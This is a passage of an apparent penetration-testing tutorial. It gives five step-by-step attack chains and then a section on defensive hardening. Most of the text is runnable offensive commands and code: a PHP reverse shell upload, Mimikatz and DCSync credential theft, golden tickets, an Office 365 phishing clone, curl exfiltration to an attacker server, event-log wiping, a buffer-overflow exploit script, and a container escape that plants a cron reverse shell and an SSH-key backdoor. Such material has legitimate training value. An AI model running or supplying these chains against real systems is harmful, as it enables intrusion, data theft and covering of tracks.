# SSH key (Linux):
mkdir /root/.ssh
echo "YOUR_PUBLIC_KEY" >> /root/.ssh/authorized_keys
Common Ports Quick Reference
# FTP - 21: File transfer (check: anonymous login)
ftp 10.10.10.50
# SSH - 22: Secure shell (bruteforce with hydra)
ssh user@10.10.10.50
# Telnet - 23: Unencrypted remote access
telnet 10.10.10.50
# SMTP - 25: Mail server (check: open relay, user enum)
nc 10.10.10.50 25
# DNS - 53: Name resolution (check: zone transfer)
dig axfr @10.10.10.50 target.com
# HTTP - 80/8080/8000: Web (directory fuzzing, SQL injection)
gobuster dir -u http://10.10.10.50
# HTTPS - 443/8443: Secure web
ffuf -u https://10.10.10.50/FUZZ
# POP3 - 110: Mail retrieval
telnet 10.10.10.50 110
# SMB - 139/445: File sharing (enum shares, null sessions)
smbclient -L //10.10.10.50
# SNMP - 161/162: Network management (default community: public)
snmpwalk -v2c -c public 10.10.10.50
# LDAP - 389/636: Directory service (AD enumeration)
ldapsearch -x -h 10.10.10.50 -b "dc=target,dc=com"
# MySQL - 3306: Database (check: default root password)
mysql -h 10.10.10.50 -u root -p
# RDP - 3389: Remote desktop
xfreerdp /u:user /v:10.10.10.50
# PostgreSQL - 5432: Database
psql -h 10.10.10.50 -U postgres
# VNC - 5900: Remote desktop (often no password!)
vncviewer 10.10.10.50
# WinRM - 5985/5986: Windows remote management
evil-winrm -i 10.10.10.50 -u user -p password
When You're Stuck - Troubleshooting Guide
# PROBLEM: Nmap shows no open ports
# SOLUTION:
1. Check if host is actually up: ping 10.10.10.50
2. Try different scan types: -sT (TCP connect), -sA (ACK scan)
3. Firewall might be blocking: Try -Pn (skip ping), -f (fragment packets)
4. Scan specific ports: -p- (all ports) instead of common ports
# PROBLEM: Can't connect to service
# SOLUTION:
1. Check firewall rules: sudo iptables -L
2. Verify IP/port: netstat -tulpn
3. Test connectivity: telnet 10.10.10.50 PORT
4. VPN connected? Check: ip a
# PROBLEM: Shell dies immediately
# SOLUTION:
1. Upgrade shell: python3 -c 'import pty; pty.spawn("/bin/bash")'
2. Check for monitoring: ps aux | grep -i monitor
3. Stabilize with: Ctrl+Z → stty raw -echo; fg
4. Try different payload: msfvenom with different encoder
# PROBLEM: Payload doesn't execute
# SOLUTION:
1. Check antivirus: Try obfuscated payload
2. Verify architecture: 32-bit vs 64-bit
3. Test locally first: Run on Kali to verify it works
4. Check file permissions: chmod +x payload
# PROBLEM: Privilege escalation not working
# SOLUTION:
1. Enumerate MORE: Run linpeas/winpeas again
2. Check sudo carefully: sudo -l might allow specific commands
3. SUID binaries: GTFOBins (https://gtfobins.github.io/)
4. Kernel exploits: Match EXACT kernel version
5. Look for credentials: history files, config files, source code
# PROBLEM: Credentials don't work
# SOLUTION:
1. Format: Try DOMAIN\user, user@domain, just user
2. Special characters: URL encode or escape
3. Case sensitive: Try lowercase/uppercase
4. Service specific: SMB vs WinRM might need different formats
5. Check password policy: Might be locked out
# PROBLEM: Exploit fails
# SOLUTION:
1. Verify vulnerability: Is service actually vulnerable?
2. Read exploit code: Understand what it does
3. Check exploit compatibility: Windows version, service version
4. Manual exploitation: Try steps manually
5. Alternative exploits: Search for different exploit
# GENERAL DEBUGGING TIPS:
1. Read error messages carefully!
2. Google exact error messages
3. Check tool documentation: --help, man pages
4. Verbose mode: Add -v, -vv, or --verbose
5. Test locally: Replicate environment in your lab
6. Take breaks: Fresh eyes see new things!
7. Enumerate AGAIN: You probably missed something!
🎖️ COMPLETE ATTACK SCENARIOS - Real-World Pentesting Examples
Learn by example! Here are COMPLETE attack chains from initial access to domain admin - exactly how pros do it!
Scenario 1: Web App → Root (Classic OSCP-Style)
# INITIAL SITUATION:
# - Target: 10.10.10.50
# - Services: HTTP (80), SSH (22)
# - Goal: Get root.txt
# PHASE 1: Reconnaissance
nmap -sC -sV -p- 10.10.10.50 -oA nmap_full
# Result: Port 80 (Apache 2.4.29), Port 22 (OpenSSH 7.6)
# PHASE 2: Web Enumeration
gobuster dir -u http://10.10.10.50 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html
# Found: /admin.php, /uploads/, /config.php.bak
# Download backup file:
wget http://10.10.10.50/config.php.bak
cat config.php.bak
# Found: MySQL credentials! user: dbadmin, pass: SuperSecretPass123!
# PHASE 3: SQL Injection
# Test /admin.php:
# Username: admin' OR 1=1-- -
# Password: anything
# Result: Logged in! (Boolean-based SQL injection)
# Exploit with SQLmap:
sqlmap -u "http://10.10.10.50/admin.php" --data="username=admin&password=pass" --batch --dbs
# Found databases: webapp, mysql
sqlmap -u "http://10.10.10.50/admin.php" --data="username=admin&password=pass" -D webapp --tables
# Found table: users
sqlmap -u "http://10.10.10.50/admin.php" --data="username=admin&password=pass" -D webapp -T users --dump
# Found: admin:5f4dcc3b5aa765d61d8327deb882cf99 (MD5 hash)
# Crack hash:
echo "5f4dcc3b5aa765d61d8327deb882cf99" > hash.txt
john --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
# Cracked: password
# PHASE 4: File Upload Vulnerability
# Login to /admin.php with: admin:password
# Found: File upload feature!
# Create PHP reverse shell:
cp /usr/share/webshells/php/php-reverse-shell.php shell.php
# Edit: Change IP and PORT to YOUR_IP:4444
# Start listener:
nc -lvnp 4444
# Upload shell.php (filename validation bypass):
# If .php blocked, try: shell.php.jpg, shell.php5, shell.phtml, shell.PhP
# Access shell:
curl http://10.10.10.50/uploads/shell.php
# Result: Shell received as www-data!
# PHASE 5: Initial Access & Stabilization
# Upgrade shell:
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
# Ctrl+Z
stty raw -echo; fg
# PHASE 6: Privilege Escalation
# Automated enum:
wget http://YOUR_IP/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh | tee linpeas_output.txt
# LinPEAS found:
# 1. MySQL running as root
# 2. /usr/bin/find with SUID bit
# 3. User john has sudo rights
# Check sudo (need password):
su john
Password: SuperSecretPass123! (from config.php.bak!)
# Success!
sudo -l
# Output: (ALL) NOPASSWD: /usr/bin/find
# Exploit SUID find:
sudo find . -exec /bin/bash \; -quit
# Result: Root shell!
id
# uid=0(root) gid=0(root)
cat /root/root.txt
# Flag captured! 🎯
# LESSON LEARNED:
# 1. Always check for backup files (.bak, .old, ~)
# 2. SQL injection → credentials
# 3. Credentials often reused (MySQL pass = user pass)
# 4. SUID binaries = easy root (check GTFOBins!)
# Total time: ~2 hours for experienced pentester
Scenario 2: SMB → Domain Admin (Active Directory)
# INITIAL SITUATION:
# - Target: Corporate AD environment
# - IP Range: 10.10.10.0/24
# - Goal: Domain Admin
# PHASE 1: Network Discovery
nmap -sn 10.10.10.0/24
# Found: 15 hosts alive
masscan 10.10.10.0/24 -p0-65535 --rate 10000 -oL ports.txt
# Found: Multiple hosts with SMB (445)
# PHASE 2: SMB Enumeration (No Creds)
crackmapexec smb 10.10.10.0/24
# Result:
# 10.10.10.50 - DC01.corp.local (domain controller!)
# 10.10.10.51 - FILE01.corp.local
# 10.10.10.52 - WEB01.corp.local
# Try anonymous/guest access:
crackmapexec smb 10.10.10.0/24 -u '' -p ''
crackmapexec smb 10.10.10.0/24 -u 'guest' -p ''
# Result: FILE01 allows guest access!
# Enumerate shares:
smbclient -L //10.10.10.51 -U guest%
# Found shares: IPC$, Public, IT_Scripts
# Access Public share:
smbclient //10.10.10.51/Public -U guest%
ls
get passwords.xlsx # Found password file!
# Also try:
smbmap -H 10.10.10.51 -R
# Recursively list ALL files in shares
# PHASE 3: Credential Discovery
# Download all interesting files:
smbget -R smb://guest@10.10.10.51/Public/
# Check IT_Scripts share:
smbclient //10.10.10.51/IT_Scripts -U guest%
ls
get deploy.ps1
cat deploy.ps1
# Found hardcoded credentials!
# User: svc_deploy
# Password: DeployPass123!
# PHASE 4: Credential Validation
crackmapexec smb 10.10.10.0/24 -u svc_deploy -p 'DeployPass123!'
# Result: Valid on ALL hosts! (Password spraying success)
# Check access level:
crackmapexec smb 10.10.10.0/24 -u svc_deploy -p 'DeployPass123!' --shares
# svc_deploy has admin access on WEB01!
# PHASE 5: Initial Access
evil-winrm -i 10.10.10.52 -u svc_deploy -p 'DeployPass123!'
# Result: Shell on WEB01!
# PHASE 6: Local Enumeration
whoami /priv
# Found: SeImpersonatePrivilege enabled!
# Upload PrintSpoofer:
upload /opt/PrintSpoofer64.exe C:\Windows\Temp\PrintSpoofer64.exe
# Escalate to SYSTEM:
.\PrintSpoofer64.exe -i -c cmd
# Result: SYSTEM shell!
# PHASE 7: Credential Harvesting
# Upload Mimikatz:
upload /opt/mimikatz.exe C:\Windows\Temp\mimikatz.exe
# Dump credentials:
.\mimikatz.exe
privilege::debug
sekurlsa::logonpasswords
# Found:
# Domain Admin: administrator:AdminPass2023!
# Service Account: svc_backup:BackupPass456!
# PHASE 8: Domain Enumeration with Creds
# From attacker machine:
bloodhound-python -u svc_deploy -p 'DeployPass123!' -d corp.local -ns 10.10.10.50 -c All
# Start BloodHound:
sudo neo4j start
bloodhound
# Upload data and analyze
# Found path: svc_backup → GenericAll on Domain Admins group!
# PHASE 9: Kerberoasting
GetUserSPNs.py corp.local/svc_deploy:DeployPass123! -dc-ip 10.10.10.50 -request -outputfile hashes.txt
# Found 3 service accounts with SPNs
# Crack hashes:
hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt
# Cracked: svc_sql:SQLService123!
# PHASE 10: Lateral Movement
# Check where svc_sql has admin:
crackmapexec smb 10.10.10.0/24 -u svc_sql -p 'SQLService123!' --local-auth
# Admin on 10.10.10.53 (SQL01)!
# Access SQL01:
psexec.py corp.local/svc_sql:SQLService123!@10.10.10.53
# Dump more credentials:
reg save HKLM\SAM sam.save
reg save HKLM\SYSTEM system.save
download sam.save
download system.save
# On attacker:
secretsdump.py -sam sam.save -system system.save LOCAL
# Found local admin hash
# PHASE 11: Domain Admin Access
# Use discovered Domain Admin creds:
psexec.py corp.local/administrator:AdminPass2023!@10.10.10.50
# Or if only hash:
psexec.py -hashes :NTLM_HASH administrator@10.10.10.50
# Result: Shell on Domain Controller as administrator!
# PHASE 12: Domain Dominance
# DCSync attack (dump ALL domain hashes):
secretsdump.py corp.local/administrator:AdminPass2023!@10.10.10.50
# Saves: All user hashes including krbtgt!
# Create Golden Ticket:
ticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-... -domain corp.local administrator
export KRB5CCNAME=administrator.ccache
# Permanent access:
psexec.py -k -no-pass administrator@dc01.corp.local
# LESSONS LEARNED:
# 1. Always check for guest/anonymous SMB access
# 2. Hardcoded credentials in scripts = common!
# 3. SeImpersonatePrivilege → SYSTEM (Potato exploits)
# 4. BloodHound reveals hidden attack paths
# 5. Kerberoasting often gives easy wins
# 6. DCSync = permanent domain compromise
# Total time: ~4-6 hours for experienced pentester
Scenario 3: Phishing → Lateral Movement → Data Exfiltration
# INITIAL SITUATION:
# - Target: Finance department
# - Access: External (no VPN)
# - Goal: Steal financial records
# PHASE 1: OSINT & Reconnaissance
# Gather employee emails:
theHarvester -d target.com -b all -l 500
# Found: 50+ email addresses
# Check LinkedIn:
# Identified: John Smith - Finance Manager (john.smith@target.com)
# PHASE 2: Phishing Campaign Setup
# Start Gophish:
sudo ./gophish
# Access: https://127.0.0.1:3333
# Create email template:
# Subject: "Urgent: Password Expiration Notice"
# Body: "Your password expires in 24 hours. Click here to reset: {{.URL}}"
# Create landing page:
# Clone Microsoft Office 365 login page
# Enable credential capture
# Create sending profile:
# Use Gmail SMTP or compromised mail server
# Send campaign to Finance department (10 users)
# PHASE 3: Credential Harvesting
# Wait 24 hours...
# Results: 7/10 users clicked, 5/10 submitted credentials!
# Captured credentials:
# john.smith@target.com:Finance2023!
# sarah.jones@target.com:Password123!
# mike.davis@target.com:Summer2023!
# PHASE 4: Initial Access
# Validate credentials:
crackmapexec smb 10.10.10.0/24 -u users.txt -p passwords.txt --continue-on-success
# john.smith credentials valid on multiple systems!
# Access via VPN:
# If company has VPN, try credentials there
# Or use Outlook Web Access (OWA)
# Check OWA:
curl -k https://mail.target.com/owa
# Success! OWA available
# Login as john.smith
# Access emails → Found VPN credentials in email!
# Connect to VPN:
openvpn --config target-vpn.ovpn --auth-user-pass
# Username: john.smith
# Password: Finance2023!
# Result: Connected to internal network!
# PHASE 5: Internal Network Enumeration
# Now on 172.16.0.0/16 network
nmap -sn 172.16.0.0/16
# Found: 200+ hosts
# Find file servers:
crackmapexec smb 172.16.0.0/16 -u john.smith -p 'Finance2023!' --shares | grep -i finance
# Found: \\FILESERVER01\Finance_Shared
# PHASE 6: Data Discovery
smbclient //FILESERVER01/Finance_Shared -U john.smith%Finance2023!
ls
# Found directories:
# - Budget_2023/
# - Payroll/
# - Contracts/
# - Quarterly_Reports/
# Download everything:
smbget -R smb://john.smith:Finance2023!@FILESERVER01/Finance_Shared/
# PHASE 7: Privilege Escalation (Optional)
# If need more access:
evil-winrm -i FILESERVER01 -u john.smith -p 'Finance2023!'
# Check privileges:
whoami /groups
# Found: john.smith is in "Finance Admins" group
# This group has access to more sensitive shares!
# PHASE 8: Lateral Movement
# Found domain admin logged into FILESERVER01:
# Use Mimikatz to dump credentials:
upload mimikatz.exe
.\mimikatz.exe
privilege::debug
sekurlsa::logonpasswords
# Found: Domain Admin credentials!
# PHASE 9: Data Exfiltration
# Compress data:
tar -czf finance_data.tar.gz Finance_Shared/
# Exfiltrate via multiple methods:
# Method 1: HTTPS upload
curl -X POST -F "file=@finance_data.tar.gz" https://YOUR_SERVER/upload
# Method 2: Dropbox/OneDrive
rclone copy finance_data.tar.gz dropbox:/
# Method 3: DNS exfiltration (stealth!)
# Use dnscat2 or iodine to tunnel data through DNS
# Method 4: Split and email
split -b 10M finance_data.tar.gz part_
# Email each part separately (under email size limits)
# PHASE 10: Covering Tracks
# Clear PowerShell history:
Remove-Item (Get-PSReadlineOption).HistorySavePath
# Clear Windows Event Logs:
wevtutil cl System
wevtutil cl Security
wevtutil cl Application
# Delete uploaded tools:
del C:\Windows\Temp\*.exe
# LESSONS LEARNED:
# 1. Phishing still works! (70% click rate common)
# 2. Credentials in emails = treasure trove
# 3. VPN access = game over for perimeter security
# 4. File servers often have weak access controls
# 5. Exfiltrate in encrypted/compressed formats
# 6. Multiple exfil methods = better success rate
# Total time: ~3 days for full campaign
Scenario 4: Buffer Overflow → System Compromise
# INITIAL SITUATION:
# - Target: 10.10.10.50 (Windows 7)
# - Service: Custom FTP server on port 9999
# - Goal: Remote code execution
# PHASE 1: Service Discovery
nmap -sV -p9999 10.10.10.50
# Found: SyncBreeze Enterprise v10.0.28 (vulnerable!)
searchsploit "SyncBreeze 10.0.28"
# Found: Buffer overflow exploit available!
# PHASE 2: Vulnerability Analysis
# Download vulnerable software locally
# Set up Windows 7 VM for testing
# Install Immunity Debugger
# Connect FTP:
ftp 10.10.10.50 9999
# Try sending large string:
# Result: Service crashes! (Vulnerable to buffer overflow)
# PHASE 3: Fuzzing
# Create fuzzer script:
cat > fuzz.py << 'EOF'
import socket
import sys
buffer = "A" * 100
while True:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('10.10.10.50', 9999))
s.send(('USER ' + buffer + '\r\n').encode())
s.close()
print(f"Sent {len(buffer)} bytes")
buffer += "A" * 100
except:
print(f"Crashed at {len(buffer)} bytes")
sys.exit()
EOF
python3 fuzz.py
# Result: Crashed at ~2700 bytes
# PHASE 4: Finding EIP Offset
# Create pattern:
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2700
# Pattern: Aa0Aa1Aa2Aa3...
# Send pattern, check EIP value in Immunity Debugger
# EIP: 42306142
# Find offset:
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 42306142
# Offset: 2003 bytes
# PHASE 5: Controlling EIP
# Test:
buffer = "A" * 2003 + "BBBB" + "C" * (2700 - 2003 - 4)
# Result: EIP = 42424242 (BBBB in hex) - Perfect!
# PHASE 6: Finding Bad Characters
# Test all bytes (\\x00-\\xff)
# Skip: \\x00 (null), \\x0a (newline), \\x0d (carriage return)
# Result: Only \\x00, \\x0a, \\x0d are bad
# PHASE 7: Finding JMP ESP
# In Immunity Debugger:
!mona modules
# Find module without ASLR/DEP
# Found: SLMFC.DLL (no protections!)
!mona find -s "\\xff\\xe4" -m SLMFC.DLL
# Found JMP ESP at: 0x5f4a358f
# PHASE 8: Generate Shellcode
msfvenom -p windows/shell_reverse_tcp LHOST=YOUR_IP LPORT=4444 -f c -b "\\x00\\x0a\\x0d" -e x86/shikata_ga_nai
# Shellcode generated (351 bytes)
# PHASE 9: Final Exploit
cat > exploit.py << 'EOF'
import socket
ip = "10.10.10.50"
port = 9999
# Shellcode (msfvenom output)
shellcode = (
b"\\xda\\xc1\\xba\\x..." # [full shellcode here]
)
buffer = b"A" * 2003 # Padding
buffer += b"\\x8f\\x35\\x4a\\x5f" # JMP ESP address (little-endian!)
buffer += b"\\x90" * 16 # NOP sled
buffer += shellcode # Reverse shell
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
s.send(b"USER " + buffer + b"\\r\\n")
s.close()
EOF
# PHASE 10: Exploitation
# Start listener:
nc -lvnp 4444
# Run exploit:
python3 exploit.py
# Result: Shell received!
# whoami
# nt authority\\system (Service running as SYSTEM!)
# LESSONS LEARNED:
# 1. Buffer overflows still exist in custom software
# 2. Methodology: Fuzzing → Offset → Control EIP → Shellcode
# 3. Bad characters can break shellcode
# 4. NOP sled gives shellcode decoder breathing room
# 5. Practice on VulnHub/HTB machines first!
# Required knowledge: x86 assembly, stack operations, debugging
# Total time: ~8-12 hours for first exploit, <1 hour once experienced
Scenario 5: Container Escape → Kubernetes Cluster Takeover
# INITIAL SITUATION:
# - Access: Shell inside Docker container
# - Goal: Escape container and compromise host
# PHASE 1: Container Detection
# Inside container:
hostname
# Output: random-hex-string (likely container!)
cat /proc/1/cgroup
# Output shows: docker, containerd, or lxc
ls -la /.dockerenv
# File exists = confirmed Docker container
# PHASE 2: Container Enumeration
# Check privileges:
id
# uid=0(root) - Root inside container (but not on host!)
cat /proc/self/status | grep CapEff
# Check effective capabilities
capsh --decode=CAPABILITY_VALUE
# Found: CAP_SYS_ADMIN (dangerous!)
# Check if privileged:
fdisk -l
# If works = privileged container!
# PHASE 3: Escape Method 1 - Privileged Container
# If container is privileged:
mkdir /mnt/host
mount /dev/sda1 /mnt/host
# Success! Host filesystem mounted!
# Access host:
chroot /mnt/host
# Now executing commands on HOST!
# Create backdoor:
echo "* * * * * root /bin/bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'" >> /etc/crontab
# Or add SSH key:
mkdir -p /root/.ssh
echo "YOUR_PUBLIC_KEY" >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
# PHASE 4: Escape Method 2 - Docker Socket Mounted
# Check if Docker socket exposed:
ls -la /var/run/docker.sock
# If exists = host Docker accessible!
# Install Docker CLI in container:
apt update
apt install docker.io -y
# List host containers:
docker -H unix:///var/run/docker.sock ps
# Create privileged container:
docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host bash
# Result: Root on host!
# PHASE 5: Kubernetes Enumeration
# Check if in Kubernetes:
ls /var/run/secrets/kubernetes.io/serviceaccount/
# If exists = Kubernetes pod!
# Get service account token:
cat /var/run/secrets/kubernetes.io/serviceaccount/token
# Get API server:
env | grep KUBERNETES
# Found: KUBERNETES_SERVICE_HOST, KUBERNETES_SERVICE_PORT
# PHASE 6: Kubernetes API Access
# Install kubectl:
curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"
chmod +x kubectl
# Test access:
./kubectl --token=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) \
--certificate-authority=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt \
--server=https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT} \
auth can-i --list
# Check permissions:
./kubectl get pods
./kubectl get secrets # Sensitive data!
./kubectl get nodes # Cluster info
# PHASE 7: Privilege Escalation in Kubernetes
# If service account has create pod permission:
cat > evil-pod.yaml << 'EOF'
apiVersion: v1
kind: Pod
metadata:
name: evil-pod
spec:
hostNetwork: true
hostPID: true
hostIPC: true
containers:
- name: evil-container
image: ubuntu
securityContext:
privileged: true
volumeMounts:
- mountPath: /host
name: host-root
command: ["/bin/bash"]
args: ["-c", "chroot /host bash"]
volumes:
- name: host-root
hostPath:
path: /
type: Directory
EOF
./kubectl apply -f evil-pod.yaml
# Access privileged pod:
./kubectl exec -it evil-pod -- /bin/bash
# Result: Root on node!
# PHASE 8: Cluster Compromise
# From compromised node, access etcd:
# etcd contains ALL Kubernetes secrets!
# Get etcd pod:
ps aux | grep etcd
# Found etcd certificate paths
# Extract secrets from etcd:
ETCDCTL_API=3 etcdctl \
--endpoints=https://127.0.0.1:2379 \
--cacert=/etc/kubernetes/pki/etcd/ca.crt \
--cert=/etc/kubernetes/pki/etcd/server.crt \
--key=/etc/kubernetes/pki/etcd/server.key \
get / --prefix --keys-only
# Download ALL secrets:
./kubectl get secrets --all-namespaces -o json > all-secrets.json
# Parse for credentials:
cat all-secrets.json | grep -i password
# PHASE 9: Persistence
# Create admin service account:
cat > admin-sa.yaml << 'EOF'
apiVersion: v1
kind: ServiceAccount
metadata:
name: admin-user
namespace: kube-system
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: admin-user
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: cluster-admin
subjects:
- kind: ServiceAccount
name: admin-user
namespace: kube-system
EOF
./kubectl apply -f admin-sa.yaml
# Get token:
./kubectl -n kube-system describe secret $(kubectl -n kube-system get secret | grep admin-user | awk '{print $1}')
# Save token for future access!
# LESSONS LEARNED:
# 1. Never run containers as root
# 2. Never mount Docker socket in container
# 3. Never use privileged containers
# 4. Kubernetes service accounts = attack vector
# 5. etcd compromise = entire cluster compromise
# 6. Container security is multi-layered
# Total time: ~2-4 hours depending on misconfigurations
🛡️ DEFENSIVE SECURITY - How to Protect Against Everything You've Learned
Now that you know how to attack, learn how to DEFEND! Every hacker should understand both sides!
Network Security Hardening
# THREAT: Port scanning (Nmap, Masscan)
# DEFENSE:
# 1. Firewall rules (only allow necessary ports):
# Linux (iptables):
iptables -A INPUT -p tcp --dport 22 -j ACCEPT # SSH
iptables -A INPUT -p tcp --dport 80 -j ACCEPT # HTTP
iptables -A INPUT -p tcp --dport 443 -j ACCEPT # HTTPS
iptables -A INPUT -j DROP # Drop everything else
# Save rules:
iptables-save > /etc/iptables/rules.v4
# 2. Implement port knocking:
# Hides services until specific port sequence is hit
# Example using knockd:
apt install knockd
# Configure /etc/knockd.conf:
[openSSH]
sequence = 7000,8000,9000
seq_timeout = 5
command = /sbin/iptables -A INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
tcpflags = syn
# 3. Use fail2ban for brute-force protection:
apt install fail2ban
systemctl enable fail2ban
# Configure /etc/fail2ban/jail.local:
[sshd]
enabled = true
port = ssh
filter = sshd
logpath = /var/log/auth.log
maxretry = 3
bantime = 3600
findtime = 600
# 4. Intrusion Detection System (IDS):
# Snort:
apt install snort
# Configure /etc/snort/snort.conf
# Set HOME_NET to your network
snort -A console -q -c /etc/snort/snort.conf -i eth0
# Suricata (modern alternative):
apt install suricata
suricata-update # Update rulesets
systemctl start suricata
tail -f /var/log/suricata/fast.log # Monitor alerts
# 5. Network segmentation:
# Separate: DMZ, internal network, management network
# Use VLANs to isolate systems
# Critical servers on separate subnets
# 6. Disable unnecessary services:
systemctl list-unit-files --state=enabled
systemctl disable apache2 # If not needed
systemctl stop apache2
# 7. Monitor network traffic:
# Install Zeek (formerly Bro):
apt install zeek
# Generates detailed network logs for analysis
# 8. Implement rate limiting:
# Limit connections per IP:
iptables -A INPUT -p tcp --dport 80 -m connlimit --connlimit-above 20 -j DROP
# 9. Geo-blocking (if applicable):
# Block countries you don't do business with
# Use GeoIP databases with iptables
# 10. Log EVERYTHING:
# Centralized logging with syslog:
# Forward logs to SIEM (Splunk, ELK, Wazuh)
Web Application Security
# THREAT: SQL Injection
# DEFENSE:
# 1. Use prepared statements (parameterized queries):
# Bad (vulnerable):
query = "SELECT * FROM users WHERE username='" + user_input + "'"
# Good (safe):
# Python:
cursor.execute("SELECT * FROM users WHERE username=?", (user_input,))
# PHP:
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?");
$stmt->execute([$user_input]);
# 2. Input validation:
# Whitelist approach:
import re
if re.match("^[a-zA-Z0-9_]+$", user_input):
# Valid
else:
# Reject
# 3. Use ORM (Object-Relational Mapping):
# Django ORM, SQLAlchemy, Entity Framework
# They handle SQL escaping automatically
# 4. Principle of least privilege:
# Database user should only have SELECT permission
# NOT: DROP, CREATE, DELETE (unless absolutely necessary)
# THREAT: Cross-Site Scripting (XSS)
# DEFENSE:
# 1. Output encoding:
# Encode ALL user input before displaying:
# HTML context:
from html import escape
safe_output = escape(user_input)
# JavaScript context:
import json
safe_output = json.dumps(user_input)
# 2. Content Security Policy (CSP):
# HTTP header that prevents inline scripts:
# In web server config:
add_header Content-Security-Policy "default-src 'self'; script-src 'self' https://trusted.cdn.com";
# 3. Use frameworks that auto-escape:
# React, Vue.js, Angular - auto-escape by default
# 4. HTTPOnly cookies:
# Prevents JavaScript from accessing cookies:
Set-Cookie: sessionid=abc123; HttpOnly; Secure; SameSite=Strict
# THREAT: File Upload Vulnerabilities
# DEFENSE:
# 1. Validate file type (server-side):
# Check MIME type AND file extension AND file content
import magic
file_type = magic.from_buffer(uploaded_file.read(), mime=True)
if file_type not in ['image/jpeg', 'image/png']:
reject()
# 2. Rename uploaded files:
import uuid
new_filename = str(uuid.uuid4()) + ".jpg"
# 3. Store uploads OUTSIDE web root:
# Don't store in /var/www/html/uploads/
# Store in /var/uploads/ with no execute permissions
# 4. Scan uploads with antivirus:
# ClamAV:
clamscan --infected --remove uploaded_file
# 5. Limit file size:
# In nginx.conf:
client_max_body_size 10M;
# THREAT: Directory Traversal
# DEFENSE:
# 1. Never use user input in file paths:
# Bad:
filename = user_input
open(filename)
# Good:
import os
filename = os.path.basename(user_input) # Removes ../ and /
if filename in allowed_files:
open(safe_directory + filename)
# 2. Use absolute paths:
safe_path = os.path.join(BASE_DIR, 'uploads', filename)
if not safe_path.startswith(BASE_DIR):
reject() # Traversal attempt detected!
# THREAT: Command Injection
# DEFENSE:
# 1. NEVER use shell=True:
# Bad:
import subprocess
subprocess.run(f"ping {user_input}", shell=True)
# Good:
subprocess.run(['ping', '-c', '4', user_input], shell=False)
# 2. Input validation:
# Only allow specific characters:
if re.match("^[a-zA-Z0-9.-]+$", hostname):
subprocess.run(['ping', '-c', '4', hostname])
# 3. Use libraries instead of shell commands:
# Instead of: os.system('ls')
# Use: os.listdir('.')
# GENERAL WEB SECURITY:
# 1. Use HTTPS everywhere:
# Get free cert from Let's Encrypt:
apt install certbot python3-certbot-nginx
certbot --nginx -d yourdomain.com
# 2. Security headers:
# In web server config:
add_header X-Frame-Options "SAMEORIGIN";
add_header X-Content-Type-Options "nosniff";
add_header X-XSS-Protection "1; mode=block";
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains";
add_header Referrer-Policy "no-referrer-when-downgrade";
# 3. Regular security testing:
# Automated scanners:
nikto -h https://yoursite.com
nuclei -u https://yoursite.com
# 4. Web Application Firewall (WAF):
# ModSecurity with OWASP Core Rule Set:
apt install libapache2-mod-security2
# Configure /etc/modsecurity/modsecurity.conf
# 5. Rate limiting:
# Nginx:
limit_req_zone $binary_remote_addr zone=one:10m rate=1r/s;
limit_req zone=one burst=5;
# 6. Input sanitization library:
# Use: OWASP ESAPI, DOMPurify, Bleach
Windows/Active Directory Security
# THREAT: Pass-the-Hash, Kerberoasting, DCSync
# DEFENSE:
# 1. Implement Credential Guard:
# Prevents: Mimikatz from dumping credentials
# Enable via Group Policy:
# Computer Configuration → Administrative Templates →
# System → Device Guard → Turn On Virtualization Based Security
# 2. Protected Users security group:
# Members of this group:
# - Cannot use NTLM authentication
# - Cannot use Kerberos DES or RC4
# - Cannot be delegated
# Add Domain Admins to Protected Users group
# 3. Disable NTLM (use Kerberos only):
# Group Policy:
# Computer Configuration → Windows Settings → Security Settings →
# Local Policies → Security Options →
# Network security: Restrict NTLM: Incoming NTLM traffic = Deny all
# 4. LAPS (Local Administrator Password Solution):
# Randomizes local admin passwords on all computers
# Install LAPS:
# Download from Microsoft
# Deploy via Group Policy
# Stores passwords in AD (encrypted)
# 5. Tiered Administration Model:
# Tier 0: Domain Controllers, Admins
# Tier 1: Servers
# Tier 2: Workstations
# NEVER use Tier 0 creds on Tier 1/2 systems!
# 6. Disable SMBv1:
Set-SmbServerConfiguration -EnableSMB1Protocol $false
# 7. Enable SMB signing:
Set-SmbServerConfiguration -RequireSecuritySignature $true
# 8. Audit Kerberos events:
# Enable in Group Policy:
# Computer Configuration → Windows Settings →
# Security Settings → Advanced Audit Policy Configuration →
# Account Logon → Audit Kerberos Service Ticket Operations
# 9. Honeypot accounts:
# Create fake admin accounts with no privileges
# Monitor for ANY login attempts
# Alert if used = attack detected!
# 10. Regular security audits:
# BloodHound:
# Run as defender to find attack paths:
Import-Module BloodHound
Invoke-BloodHound -CollectionMethod All
# Analyze and fix identified weaknesses
# PingCastle:
# AD security scanner:
PingCastle.exe --healthcheck --server dc01.corp.local
# 11. Service account security:
# Don't use: Password never expires
# Don't use: Account as Domain Admin
# Use: Group Managed Service Accounts (gMSA)
# Passwords managed by AD automatically
# 12. Patch PrintNightmare/Zerologon:
# Ensure: Latest Windows patches installed
Get-HotFix | Sort-Object -Property InstalledOn -Descending
